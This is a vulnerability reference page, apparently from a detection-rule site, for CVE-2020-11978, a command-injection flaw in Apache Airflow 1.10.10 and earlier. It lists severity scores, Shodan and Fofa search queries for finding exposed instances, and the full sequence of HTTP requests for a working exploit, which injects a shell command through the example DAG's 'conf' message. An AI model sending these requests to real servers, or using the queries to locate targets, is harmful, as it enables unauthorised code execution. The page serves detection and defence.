🔙 목록으로 돌아가기

CVE-2020-11978: Apache Airflow <=1.10.10 - Remote Code Execution

TitleApache Airflow <=1.10.10 - Remote Code Execution
Authorpdteam
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationIf you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
CVSS Score8.8
EPSS Score0.94272
CVE IDCVE-2020-11978
CWE IDCWE-78
Shodan Querytitle:"Airflow - DAGs" || http.html:"Apache Airflow"http.title:"airflow - dags" || http.html:"apache airflow"http.title:"sign in - airflow"product:"redis"
Fofa Querytitle="sign in - airflow"apache airflowtitle="airflow - dags" || http.html:"apache airflow"
Tags cve2020 cve packetstorm apache airflow rce kev vkev vuln

🔍 Vulnerability Description

Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).

🌐 HTTP Request

GET /api/experimental/test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10
Connection: close
Accept: */*
Accept-Encoding: gzip
GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/6.0
Connection: close
Accept: */*
Accept-Encoding: gzip
POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.15
Connection: close
Content-Length: 41
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip

{"conf": {"message": "\"; touch test #"}}
GET /api/experimental/dags/example_trigger_target_dag/dag_runs/k52mxo/tasks/bash_task HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11978.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-11978.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A